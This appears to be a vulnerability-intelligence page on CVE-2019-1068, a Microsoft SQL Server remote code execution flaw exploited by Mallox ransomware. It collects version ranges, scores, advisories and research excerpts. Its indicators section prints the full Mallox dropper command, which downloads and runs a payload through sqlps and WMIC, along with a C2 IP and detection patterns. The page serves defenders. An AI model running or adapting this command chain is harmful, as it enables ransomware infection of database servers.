CVE-2019-1068
published 2019-07-15CVE-2019-1068: A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions, aka 'Microsoft SQL Server…
PriorityP192high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
KEVITWEXPLOITRansomware
CISA Known Exploited Vulnerabilitydue 2026-08-29
Exploited in the wild
EPSS
57.00%
99.0th percentile
A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions, aka 'Microsoft SQL Server Remote Code Execution Vulnerability'.
Affected
27 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | microsoft_sql_server | — | — |
| microsoft | microsoft_sql_server | — | — |
| microsoft | microsoft_sql_server | — | — |
| microsoft | microsoft_sql_server | — | — |
| microsoft | microsoft_sql_server | — | — |
| microsoft | microsoft_sql_server_2014_service_pack_2_for_32-bit_systems | — | — |
| microsoft | microsoft_sql_server_2014_service_pack_2_for_x64-based_systems | — | — |
| microsoft | microsoft_sql_server_2014_service_pack_3_for_32-bit_systems | — | — |
| microsoft | microsoft_sql_server_2014_service_pack_3_for_x64-based_systems | — | — |
| microsoft | microsoft_sql_server_2016_for_x64-based_systems_service_pack_1 | — | — |
| microsoft | microsoft_sql_server_2016_for_x64-based_systems_service_pack_2 | — | — |
| microsoft | microsoft_sql_server_2017_for_x64-based_systems | — | — |
| microsoft | sql_server | — | — |
| microsoft | sql_server | — | — |
| microsoft | sql_server_2016 | >= 13.0.4001.0 < 13.0.4259.0 | 13.0.4259.0 |
| microsoft | sql_server_2016 | >= 13.0.4411.0 < 13.0.4604.0 | 13.0.4604.0 |
| microsoft | sql_server_2016 | >= 13.0.5026.0 < 13.0.5101.9 | 13.0.5101.9 |
| microsoft | sql_server_2016 | >= 13.0.5149.0 < 13.0.5366.0 | 13.0.5366.0 |
| microsoft | sql_server_2017 | >= 14.0.1000.169 < 14.0.2027.2 | 14.0.2027.2 |
| microsoft | sql_server_2017 | >= 14.0.3006.16 < 14.0.3192.2 | 14.0.3192.2 |
| msrc | microsoft_sql_server_2014_service_pack_2_for_32-bit_systems | — | — |
| msrc | microsoft_sql_server_2014_service_pack_2_for_x64-based_systems | — | — |
| msrc | microsoft_sql_server_2014_service_pack_3_for_32-bit_systems | — | — |
| msrc | microsoft_sql_server_2014_service_pack_3_for_x64-based_systems | — | — |
| msrc | microsoft_sql_server_2016_for_x64-based_systems_service_pack_1 | — | — |
Detection & IOCsextracted from sources · hover to see the quote
commandcmd.exe /C "echo $cl = New-Object System.Net.WebClient >%APPDATA%\alta.ps1 & echo $cl.DownloadFile("hxxp[:]///scavenger.exe", "%APPDATA%\box.bat") >> %APPDATA%\alta.ps1 & sqlps -ExecutionPolicy Bypass %APPDATA%\alta.ps1 & WMIC process call create "%APPDATA%\box.bat""↗
- →Monitor MS-SQL server processes (sqlservr.exe) spawning cmd.exe or PowerShell child processes — a key indicator of CVE-2019-1068 exploitation leading to Mallox ransomware deployment. ↗
- →Detect use of 'sqlps' with '-ExecutionPolicy Bypass' to launch downloaded PowerShell scripts from %APPDATA%, which is the Mallox first-stage execution pattern post-exploitation. ↗
- →Alert on WMIC being used to create processes from %TEMP% or %APPDATA% directories, consistent with Mallox ransomware payload launch after CVE-2019-1068 exploitation. ↗
- →Detect creation of updt.ps1 in %TEMP% combined with PowerShell -ExecutionPolicy Bypass execution, a hallmark of Mallox's download-and-execute chain. ↗
- →Alert on bcdedit.exe being called with 'bootstatuspolicy ignoreallfailures' and 'recoveryenabled no' — Mallox ransomware disables Windows recovery to prevent remediation. ↗
- →CVE-2019-1068 exploitation requires an authenticated attacker submitting a specially crafted query; monitor for anomalous authenticated SQL query patterns against internet-facing MS-SQL servers, especially from unexpected source IPs. ↗
- ·CVE-2019-1068 exploitation requires authentication — unauthenticated network scanning alone is insufficient to trigger the vulnerability; attackers may first brute-force or credential-stuff MS-SQL accounts before exploiting. ↗
- ·The download URL in the Mallox PowerShell dropper command is partially redacted/defanged in the source (XXXXXXXXX.exe); the C2 IP 80.66.75.37 is listed separately as a known Mallox distro/C2 address and should be used for blocking rather than the redacted URL. ↗
- ·Mallox affiliates are free to choose their own initial access methods; while CVE-2019-1068 is a documented vector, phishing delivering Cobalt Strike/Sliver and brute-force attacks are also used, so detections should not be scoped solely to SQL exploitation. ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
vulncheck8.8HIGH
cisa8.8HIGH
vendor_msrc8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
VulDB
Microsoft SQL Server 2014 SP2/2016 SP1/2017 input validation
vuldb·2026-08-26·CVSS 8.8
CVE-2019-1068 [HIGH] Microsoft SQL Server 2014 SP2/2016 SP1/2017 input validation
A vulnerability was found in Microsoft SQL Server 2014 SP2/2016 SP1/2017. It has been classified as critical. This affects an unknown function. Performing a manipulation results in improper input validation.
This vulnerability is identified as CVE-2019-1068. The attack can be initiated remotely. Additionally, an exploit exists.
Applying a patch is the recommended action to fix this issue.
GHSA
GHSA-62pw-5pr4-ghr5: A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions, aka 'Microsoft SQL
ghsa_unreviewed·2022-05-24
CVE-2019-1068 [HIGH] GHSA-62pw-5pr4-ghr5: A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions, aka 'Microsoft SQL
A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions, aka 'Microsoft SQL Server Remote Code Execution Vulnerability'.
VulnCheck
Microsoft SQL Server Remote Code Execution Vulnerability
vulncheck·2019·CVSS 8.8
CVE-2019-1068 [HIGH] Microsoft SQL Server Remote Code Execution Vulnerability
Microsoft SQL Server Remote Code Execution Vulnerability
A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions, aka 'Microsoft SQL Server Remote Code Execution Vulnerability'.
Affected: Microsoft SQL Server
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Known Ransomware Campaign Use: Known
Exploitation References: https://securelist.com/mallox-ransomware/113529/; https://fortiguard.fortinet.com/outbreak-alert/mallox-ransomware
Exploit PoC: https://vulncheck.com/xdb/cb644b465351
CISA
Microsoft SQL Server Remote Code Execution Vulnerability
cisa·2026-08-26·CVSS 8.8
CVE-2019-1068 [HIGH] Microsoft SQL Server Remote Code Execution Vulnerability
Vulnerability: Microsoft SQL Server Remote Code Execution Vulnerability
Affected: Microsoft SQL Server
Microsoft SQL Server contains a remote code execution vulnerability that could allow an attacker to execute code in the context of the SQL Server Database Engine service account.
Required Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Notes: ht
Microsoft
Microsoft SQL Server Remote Code Execution Vulnerability
vendor_msrc·2019-07-09·CVSS 8.8
CVE-2019-1068 [HIGH] Microsoft SQL Server Remote Code Execution Vulnerability
Microsoft SQL Server Remote Code Execution Vulnerability
Description: A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions. An attacker who successfully exploited this vulnerability could execute code in the context of the SQL Server Database Engine service account.
To exploit the vulnerability, an authenticated attacker would need to submit a specially crafted query to an affected SQL server.
The security update addresses the vulnerability by modifying how the Microsoft SQL Server Database Engine handles the processing of functions.
FAQ: There are GDR and/or CU (Cumulative Update) updates offered for my version of SQL Server. How do I know which update to use?
First, determine your SQL Server version number. F
No detection rules found.
No public exploits indexed.
Hackernews
CISA Adds Six Exploited Flaws to KEV, Including NetScaler, Linux, and SQL Server Bugs
blogs_hackernews·2026-08-27·CVSS 5.1
CVE-2019-1068 [MEDIUM] CISA Adds Six Exploited Flaws to KEV, Including NetScaler, Linux, and SQL Server Bugs
Home
Threat Intelligence
Vulnerabilities
Cyber Attacks
Webinars
Expert Insights
Awards
Webinars
Awards
Free eBooks
About THN
Jobs
Advertise with us
## CISA Adds Six Exploited Flaws to KEV, Including NetScaler, Linux, and SQL Server Bugs
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Wednesday added six flaws to its Known Exploited Vulnerabilities ( KEV ) catalog, including a high-severity security vulnerability impacting Citrix NetScaler ADC and NetScaler Gateway, citing evidence of active exploitation.
The vulnerabilities are listed below -
CVE-2019-1068 - A remote code execution vulnerability in Microsoft SQL Server that could allow an attacker to execute code in the context of the SQL Server Database Engine service account.
CVE-2026-8452 - An impr
Securelist
Mallox ransomware: in-depth analysis and evolution
blogs_securelist·2024-09-04
Mallox ransomware: in-depth analysis and evolution
Table of Contents
Background
Timeline
RaaS promotion
Statistics on the RaaS affiliates
Typical infection scenario
Analysis
Earliest known Mallox version (9b772efb921de8f172f21125dd0e0ff7, v1)
Preparing for encryption
Drives enumeration and exclusions
Cryptography
Communication with the attackers’ C&C server
Recent Mallox version (e98b3a8d2179e0bd0bebba42735d11b7, v12)
New arguments
Preparing for encryption
Cryptography
Communication with the attackers’ C&C server
Timeline of Mallox versions
Cryptographic scheme in v5 and above: the “generated key” variant
Cryptographic scheme in v6 and above: the “embedded key” variant
Negotiation portal and DLS (data leak site)
Victims
Conclusions
IoC
Authors
Fedor Sinitsyn
Yanis Zinchenko
Mallox is a sophisticated and dangerous
Securelist
Evolution of Mallox: from private ransomware to RaaS
blogs_securelist·2024-09-04
Evolution of Mallox: from private ransomware to RaaS
Table of Contents
- Background
- Typical infection scenario
- Analysis
- Negotiation portal and DLS (data leak site)
- Victims
- Conclusions
- IoC
Authors
- Fedor Sinitsyn
- Yanis Zinchenko
Mallox is a sophisticated and dangerous family of malicious software that has been causing significant damage to organizations worldwide. In 2023, this ransomware strain demonstrated an uptick in attacks, the overall number of discovered Mallox samples exceeding 700. In the first half of 2024, the malware was still being actively developed, with new versions being released several times a month, while the Mallox RaaS affiliate program advertised on dark web forums was seeking new partners. This article aims to provide a comprehensive technical overview of the ransomware and its history.
## Backgro
Sentinelone
Mallox Resurrected | Ransomware Attacks Exploiting MS-SQL Continue to Burden Enterprises
blogs_sentinelone·2023-12-13·CVSS 8.8
[HIGH] Mallox Resurrected | Ransomware Attacks Exploiting MS-SQL Continue to Burden Enterprises
The ransomware landscape is characterized by a heavy churn in both actor groups and malware families, with only a few players exhibiting relative longevity. Once feared threats such as REvil and Conti have either been dismantled or dissolved, while others – ALPHV , Black Basta and LockBit , for example – continue to extort businesses with impunity. To this second list we can also add Mallox ( aka TargetCompany), a lesser-known but long-running ransomware threat first seen in 2021. Today, the group continues to steal and leak a steady stream of enterprise data.
In this post, we highlight recent Mallox activity, explain the group’s initial access methods and provide a high-level analysis of recent Mallox payloads to help defenders better understand and defend against this persistent threat.
Sentinelone
Mallox Resurrected | Ransomware Attacks Exploiting MS-SQL Continue to Burden Enterprises
blogs_sentinelone·2023-12-13·CVSS 8.8
[HIGH] Mallox Resurrected | Ransomware Attacks Exploiting MS-SQL Continue to Burden Enterprises
The ransomware landscape is characterized by a heavy churn in both actor groups and malware families, with only a few players exhibiting relative longevity. Once feared threats such as REvil and Conti have either been dismantled or dissolved, while others – ALPHV, Black Basta and LockBit, for example – continue to extort businesses with impunity. To this second list we can also add Mallox (aka TargetCompany), a lesser-known but long-running ransomware threat first seen in 2021. Today, the group continues to steal and leak a steady stream of enterprise data.
In this post, we highlight recent Mallox activity, explain the group’s initial access methods and provide a high-level analysis of recent Mallox payloads to help defenders better understand and defend against this persistent threat.
#
Qualys
July 2019 Patch Tuesday – 77 Vulns, 15 Critical, DHCP RCE, Exploited PrivEsc, SQL, Adobe Vulns | Qualys
blogs_qualys·2019-07-09·CVSS 9.8
[CRITICAL] July 2019 Patch Tuesday – 77 Vulns, 15 Critical, DHCP RCE, Exploited PrivEsc, SQL, Adobe Vulns | Qualys
This month’s Microsoft Patch Tuesday addresses 77 vulnerabilities with 15 of them labeled as Critical. Of the 15 Critical vulns, 11 are for scripting engines and browsers, with the remaining four covering DHCP Server, GDI+, .NET Framework, and Azure DevOps Server / Team Foundation Server. In addition, Microsoft has released Important patches for two actively exploited privilege escalation vulnerabilities, as well as a SQL Server RCE. Microsoft also issued two advisories for Outlook on the web and Linux Kernel vulnerabilities. Adobe issued patches today for Bridge CC, Experience Manager, and Dreamweaver.
### Workstation Patches
Scripting Engine, Browser, GDI+, and .NET Framework patches should be prioritized for workstation-type devices, meaning any system that is used for email or to acc
Qualys
July 2019 Patch Tuesday – 77 Vulns, 15 Critical, DHCP RCE, Exploited PrivEsc, SQL, Adobe Vulns
blogs_qualys·2019-07-09·CVSS 9.8
[CRITICAL] July 2019 Patch Tuesday – 77 Vulns, 15 Critical, DHCP RCE, Exploited PrivEsc, SQL, Adobe Vulns
This month’s Microsoft Patch Tuesday addresses 77 vulnerabilities with 15 of them labeled as Critical. Of the 15 Critical vulns, 11 are for scripting engines and browsers, with the remaining four covering DHCP Server, GDI+, .NET Framework, and Azure DevOps Server / Team Foundation Server. In addition, Microsoft has released Important patches for two actively exploited privilege escalation vulnerabilities, as well as a SQL Server RCE. Microsoft also issued two advisories for Outlook on the web and Linux Kernel vulnerabilities. Adobe issued patches today for Bridge CC, Experience Manager, and Dreamweaver.
## Workstation Patches
Scripting Engine, Browser, GDI+, and .NET Framework patches should be prioritized for workstation-type devices, meaning any system that is used for email or to acce
2019-07-15
Published
2026-08-26
Added to CISA KEV
Exploited in the wild